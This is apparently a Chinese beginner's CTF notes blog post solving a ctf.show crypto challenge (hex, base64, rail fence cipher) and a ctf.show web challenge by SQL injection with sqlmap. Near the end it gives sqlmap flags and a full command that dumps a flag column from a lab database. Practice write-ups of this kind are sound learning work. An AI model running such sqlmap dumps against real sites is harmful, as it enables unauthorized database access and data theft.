CTF初学笔记解题-密码1

题目:萌新_密码1

题目来源:https://ctf.show/challenges#%E8%90%8C%E6%96%B0_%E5%AF%86%E7%A0%811-74

密文:
53316C6B5A6A42684D3256695A44566A4E47526A4D5459774C5556375A6D49324D32566C4D4449354F4749345A6A526B4F48303D

提交格式:KEY{XXXXXXXXXXXXXX}

工具下载:https://www.lanzoui.com/i9fn2aj

分析:

1、密文内容为0-F,尝试进行hex16进制转字符
结果:S1lkZjBhM2ViZDVjNGRjMTYwLUV7ZmI2M2VlMDI5OGI4ZjRkOH0=

2、分析转换后的结果:存在大小写字母数字及等于,尝试进行base64编码,不行的话尝试进行其他的baseXX转码
解码结果:KYdf0a3ebd5c4dc160-E{fb63ee0298b8f4d8}
3、由于密码格式为KEY{XXXXXXXXXXXXXX} 分析采用栅栏密码且栏数为2
解密结果:KEY{dffb06a33eeeb0d259c84bd8cf146d08-} 即为密码

#ctf.show_web2
最简单的SQL注入

在这里插入图片描述

–current-db 得出数据库名
–tables 得出表名
–columns 得出列名
–dump 得出某列具体信息

最后命令为:sqlmap.py -u “url” -D 数据库名 -T 数据库表名 -C 具体列名–dump

sqlmap.py -r 1.req -p password -D web2 -T flag -C flag -dump
  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值